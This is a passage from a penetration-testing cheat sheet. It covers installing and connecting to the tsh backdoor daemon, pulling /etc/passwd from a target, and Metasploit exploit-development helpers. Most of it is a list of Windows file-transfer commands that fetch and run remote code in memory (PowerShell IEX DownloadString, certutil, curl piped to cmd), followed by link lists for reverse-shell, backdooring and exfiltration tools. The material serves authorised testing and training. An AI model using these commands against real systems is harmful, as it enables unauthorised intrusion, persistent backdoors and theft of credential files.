gcc -Xlinker --no-as-needed -lutil -o tshd pel.o aes.o sha1.o tshd.o
strip tshd
make[1]: Leaving directory '/tmp/tsh'

Now run ./tshd on server. It will start listening on the specified port. You can connect to it via executing the following command:

./tsh host_ip

If tsh was compiled with backconnect capability, the tshd daemon will try to connect back to the attacker’s machine. To launch listener on attacker’s side:

$ ./tsh cb
Waiting for the server to connect...

To transfer files with tsh:

./tsh host_ip get /etc/passwd .
./tsh host_ip put /bin/netcat /tmp

6. Remote Command Execution

7. Exploit Writing

To create the pattern that will overflow the buffer:

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 3000

To find the exact offset where the code hit the EIP:

/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 200 -q [PATTERN]

To convert a asm code into its op code:

/usr/share/metasploit-framework/tools/exploit/nasm_shell.rb

https://raw.githubusercontent.com/coreb1t/awesome-pentest-cheat-sheets/master/docs/pentest-exploit-dev-cheatsheet.jpg

8. Web and DB Exploitation

LFI

RFI

SQLi

9. File Transfers

Windows: Transferring Files

At some point during privilege escalation you will need to get files onto your target. Below are some easy ways to do so.

PowerShell Cmdlet (Powershell 3.0 and higher)

Invoke-WebRequest "https://server/filename" -OutFile "C:\Windows\Temp\filename"

PowerShell One-Liner

(New-Object System.Net.WebClient).DownloadFile("https://server/filename", "C:\Windows\Temp\filename")

PowerShell One-Line Script Execution in Memory

IEX(New-Object Net.WebClient).downloadString('http://server/script.ps1')

PowerShell with Proxy

$browser = New-Object System.Net.WebClient;
$browser.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;
IEX($browser.DownloadString('https://server/script.ps1'));

PowerShell Script

echo $webclient = New-Object System.Net.WebClient >>wget.ps1
echo $url = "http://server/file.exe" >>wget.ps1
echo $file = "output-file.exe" >>wget.ps1
echo $webclient.DownloadFile($url,$file) >>wget.ps1
		
powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File wget.ps1

Non-interactive FTP via text file. Useful for when you only have limited command execution.

echo open 10.10.10.11 21> ftp.txt
echo USER username>> ftp.txt
echo mypassword>> ftp.txt
echo bin>> ftp.txt
echo GET filename>> ftp.txt
echo bye>> ftp.txt
		
ftp -v -n -s:ftp.txt

CertUtil

certutil.exe -urlcache -split -f https://myserver/filename outputfilename

Certutil can also be used for base64 encoding/decoding.

certutil.exe -encode inputFileName encodedOutputFileName
certutil.exe -decode encodedInputFileName decodedOutputFileName

Starting with Windows 10 1803 (April 2018 Update) the curl command has been implemented which gives another way to transfer files and even execute them in memory. Piping directly into cmd will run most things but it seems like if you have anything other than regular commands in your script, ie loops, if statements etc, it doesn’t run them correctly.

curl http://server/file -o file
curl http://server/file.bat | cmd

And with PowerShell

IEX(curl http://server/script.ps1);Invoke-Blah

10. Cheatsheets

SANS Nmap Cheatsheet

SANS Netcat Cheatsheet

SANS Python 2.7 Cheatsheet

SANS Python 3 Cheatsheet

SANS Metasploit Cheatsheet

SANS Windows Command Line Cheatsheet

SANS Powershell Cheatsheet

SANS Scapy Cheatsheet

PowerSploit Cheatsheet

Powershell Empire Cheatsheet

PenTest Cheatsheets

vim Cheatsheet

sqlmap Cheatsheet

PacketLife Various Cheatsheets

Awesome PenTest Cheatsheets

Mobile App PenTest Cheatsheet

11. Appendixes

A. Sources

This section contains the sources (their sources may or may not be included here) for the content in this document.

A.1. Network Discovery

A.2. Linux Privilege Escalation

A.3. Windows Privilege Escalation

A.4. Reverse Shell

A.5. Network Pivoting

A.6. Remote Command Execution

A.7. Exploit Writing

A.8. Web and DB Exploitation

LFI

https://highon.coffee/blog/lfi-cheat-sheet/ https://www.aptive.co.uk/blog/local-file-inclusion-lfi-testing/

RFI
XSS

https://github.com/0xsobky/HackVault/wiki/Unleashing-an-Ultimate-XSS-Polyglot

http://polyglot.innerht.ml/

DB SQLi

https://www.netsparker.com/blog/web-security/sql-injection-cheat-sheet/

DB SQLite3 injection

http://atta.cked.me/home/sqlite3injectioncheatsheet

Java Deserialization

https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet

A.9. File Transfers

B. Tools

Interesting tools that may not be included in Kali or in other pentesting distros.

B.1. General

CyberChef

Regex101

RegexPal

Findsploit

FuzzDB

Python for Penetration Testers

PacketLife Armory (toolbox)

Regaxor (Regex Fuzzer)

B.2. Enumeration

Reconnoitre

B.3. Packet manipulation

impacket

scapy

pcapy

wiwo

awesome-pcaptools

B.4. Reverse shell and network pivoting

reGeorg

socat

Rpivot

ncat

proxychains

hans

Tsh

B.5. Backdooring

covertutils

B.6. Reverse engineering

Frida

kwetza

Immunity Debugger

ODA

B.7. Exfiltration

DET

B.8. Exploitation

XSS’OR

Webgun (XSS)

B.9. Other categories

awesome-osint

awesome-lockpicking

wsproxy

net-creds

dnserver

fimap

MailCatcher

C. Security Lists

D. Learn by doing

E. Learning

E.1. Online

E.2. Books

F. Methodology